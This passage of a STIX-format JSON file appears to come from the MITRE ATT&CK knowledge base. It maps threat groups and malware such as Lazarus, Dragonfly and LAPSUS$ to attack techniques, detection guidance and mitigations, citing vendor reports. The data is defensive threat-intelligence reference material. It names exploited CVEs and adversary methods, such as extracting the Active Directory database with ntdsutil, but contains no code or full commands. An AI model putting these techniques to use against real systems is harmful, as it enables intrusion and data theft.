Destover-like implant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) can obtain the current system time and send it to the C2 server.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d032ba7f-4dee-4a98-b400-86e2eb0ee918", "type": "relationship", "created": "2019-04-12T15:20:35.934Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. 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(2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. 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(2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T21:09:59.298Z", "description": "[S-Type](https://attack.mitre.org/software/S0085) may create a .lnk file to itself that is saved in the Start menu folder. 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(2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-12-09T19:12:41.319Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can execute through the <code>WinExec</code> API.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d06cd799-f61b-460e-a287-e58e8ff39022", "created": "2021-12-10T14:18:11.098Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "CISA AA20-296A Berserk Bear December 2020", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions", "description": "CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has conducted SQL injection attacks, exploited vulnerabilities CVE-2019-19781 and CVE-2020-0688 for Citrix and MS Exchange, and CVE-2018-13379 for Fortinet VPNs.(Citation: CISA AA20-296A Berserk Bear December 2020)", "modified": "2022-04-18T15:40:58.202Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d071081b-3e91-47dd-a5a2-a6b590a2b4fe", "type": "relationship", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.838Z", "description": "Monitor cloud logs for API calls and other potentially unusual activity related to snapshot enumeration. Discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.", "source_ref": "x-mitre-data-component--ffd73905-2e51-4f2d-8549-e72fb0eb6c38", "target_ref": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d0722ad7-32c5-4249-90b2-e76bea63ea59", "created": "2022-04-13T20:12:52.723Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Flagpro](https://attack.mitre.org/software/S0696) can use Native API to enable obfuscation including `GetLastError` and `GetTickCount`.(Citation: NTT Security Flagpro new December 2021)", "modified": "2022-04-13T20:12:52.723Z", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d0741465-c94e-4213-b830-2c4f09052334", "type": "relationship", "created": "2021-03-17T20:31:07.895Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-03-17T20:31:07.895Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d", "target_ref": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d07460c8-0d13-4c25-81f7-56e5198f07c5", "type": "relationship", "created": "2020-05-04T19:13:35.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.466Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) can retrieve a list of applications from the <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths</code> registry key.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d078f862-c090-4e79-808b-ff69887a920c", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}], "modified": "2020-03-17T02:14:55.999Z", "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may query the Registry by running <code>reg query</code> on a victim.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d07acff6-9c10-4c0c-98b2-09f6980ac961", "type": "relationship", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.866Z", "description": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to deactivation of instances that are occurring outside of planned operations. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "source_ref": "x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f", "target_ref": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d07f2da6-6497-414f-96c1-9dd60155b169", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Buckeye", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}], "modified": "2020-03-18T20:19:35.787Z", "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers shares on the network(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d08b9cb8-0f97-4933-b0de-40e4626dd13e", "type": "relationship", "created": "2019-04-17T19:18:00.433Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Remexi Jan 2019", "url": "https://securelist.com/chafer-used-remexi-malware/89538/", "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}], "modified": "2020-03-17T19:24:27.802Z", "description": "[Remexi](https://attack.mitre.org/software/S0375) uses AutoIt and VBS scripts throughout its execution process.(Citation: Securelist Remexi Jan 2019)", "relationship_type": "uses", "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d0934ba2-a4dc-4e1a-8065-84b142ecb01c", "type": "relationship", "created": "2020-02-11T18:39:25.202Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:39:25.202Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d0946a00-610b-44d3-aec6-be292cfac52a", "type": "relationship", "created": "2021-09-01T20:53:29.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA453 July2021", "url": "https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453", "description": "Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021."}], "modified": "2021-09-01T20:53:29.864Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has acquired mobile phone numbers of potential targets, possibly for mobile malware or additional phishing operations.(Citation: Proofpoint TA453 July2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d0952afb-ce2a-43ee-bb6d-8daf90ebbd36", "created": "2023-12-07T19:17:18.819Z", "revoked": false, "external_references": [{"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-07T19:17:18.819Z", "description": "[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has deployed ransomware from a batch file in a network share.(Citation: Microsoft Ransomware as a Service)", "relationship_type": "uses", "source_ref": "intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f", "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d095926f-b161-46ea-ac52-b7295ce42b80", "created": "2022-06-02T12:29:35.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Bitter Bangladesh May 2022", "description": "Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.", "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-14T18:42:41.835Z", "description": "[ZxxZ](https://attack.mitre.org/software/S1013) has been distributed via spearphishing emails, usually containing a malicious RTF or Excel attachment.(Citation: Cisco Talos Bitter Bangladesh May 2022)", "relationship_type": "uses", "source_ref": "malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d0a02e9b-9247-4bce-9070-649d7c908640", "created": "2022-08-09T18:37:51.716Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Unit 42 PingPull Jun 2022", "url": "https://unit42.paloaltonetworks.com/pingpull-gallium/", "description": "Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PingPull](https://attack.mitre.org/software/S1031) can decrypt received data from its C2 server by using AES.(Citation: Unit 42 PingPull Jun 2022)", "modified": "2022-08-09T18:37:51.716Z", "relationship_type": "uses", "source_ref": "malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d0a2aa1e-a824-47b8-99a5-c2d026c9432d", "created": "2021-03-12T14:01:37.067Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Leonardo Turla Penquin May 2020", "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T21:27:07.148Z", "description": "[Penquin](https://attack.mitre.org/software/S0587) can use the command code <code>do_vslist</code> to send file names, size, and status to C2.(Citation: Leonardo Turla Penquin May 2020)", "relationship_type": "uses", "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d0a3d891-2555-45eb-8aaf-99b86372607b", "created": "2022-07-18T20:53:43.160Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. 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(2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. 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Retrieved June 22, 2020."}], "modified": "2020-06-30T22:07:31.581Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has deployed a tool known as [DarkComet](https://attack.mitre.org/software/S0334) to the Startup folder of a victim, and used Registry run keys to gain persistence.(Citation: Symantec Elfin Mar 2019)(Citation: Microsoft Holmium June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d15c7116-2d00-48cd-9003-1ab6fc4a0076", "type": "relationship", "created": "2020-05-06T16:06:23.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JPCert TSCookie March 2018", "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", "description": "Tomonaga, S. (2018, March 6). Malware \u201cTSCookie\u201d. Retrieved May 6, 2020."}], "modified": "2020-05-06T17:47:43.785Z", "description": "[TSCookie](https://attack.mitre.org/software/S0436) has been executed via malicious links embedded in e-mails spoofing the Ministries of Education, Culture, Sports, Science and Technology of Japan.(Citation: JPCert TSCookie March 2018)", "relationship_type": "uses", "source_ref": "malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}, {"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}], "modified": "2020-03-16T15:59:20.318Z", "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)", "relationship_type": "uses", "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d15d091e-a720-4fb5-acfc-0982e23fe185", "type": "relationship", "created": "2020-01-24T15:00:47.394Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T15:00:47.394Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1651c82-8b4e-4aef-b065-732cf12e7b79", "type": "relationship", "created": "2021-01-22T16:08:40.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-01-22T16:08:40.748Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d1667060-2bbe-41df-94eb-ce8b68fb084d", "type": "relationship", "created": "2020-01-17T19:19:05.372Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-09-16T15:49:58.697Z", "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. ", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb", "type": "relationship", "created": "2017-05-31T21:33:27.075Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf", "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", "source_name": "Cymmetria Patchwork"}], "modified": "2021-11-02T21:07:07.542Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) bypassed User Access Control (UAC).(Citation: Cymmetria Patchwork)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d17517a1-f941-46a0-bcb6-d2a5b94cb24b", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). 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Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d17ee0b3-4f2b-4d6f-ae10-7934d4e9126d", "type": "relationship", "created": "2021-02-08T23:18:31.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}], "modified": "2021-02-08T23:18:31.835Z", "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can enumerate the sessions for each user logged onto the infected host.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d17f93ce-f419-4297-a6dd-9d745df31b92", "created": "2022-06-10T16:38:33.157Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has used Windows built-in tool `ntdsutil` to extract the Active Directory (AD) database.(Citation: MSTIC DEV-0537 Mar 2022)", "modified": "2022-06-10T16:38:33.157Z", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d17fcc24-a9ae-4841-b35b-f694b3991fba", "type": "relationship", "created": "2021-01-22T13:35:37.195Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T13:35:37.195Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has exfiltrated stolen data to OneDrive accounts.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d186a22f-f42e-43f4-b161-36f2d1714f04", "type": "relationship", "created": "2021-06-21T13:20:12.305Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-21T14:26:11.097Z", "description": "[Ecipekac](https://attack.mitre.org/software/S0624) can abuse the legitimate application policytool.exe to load a malicious DLL.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": 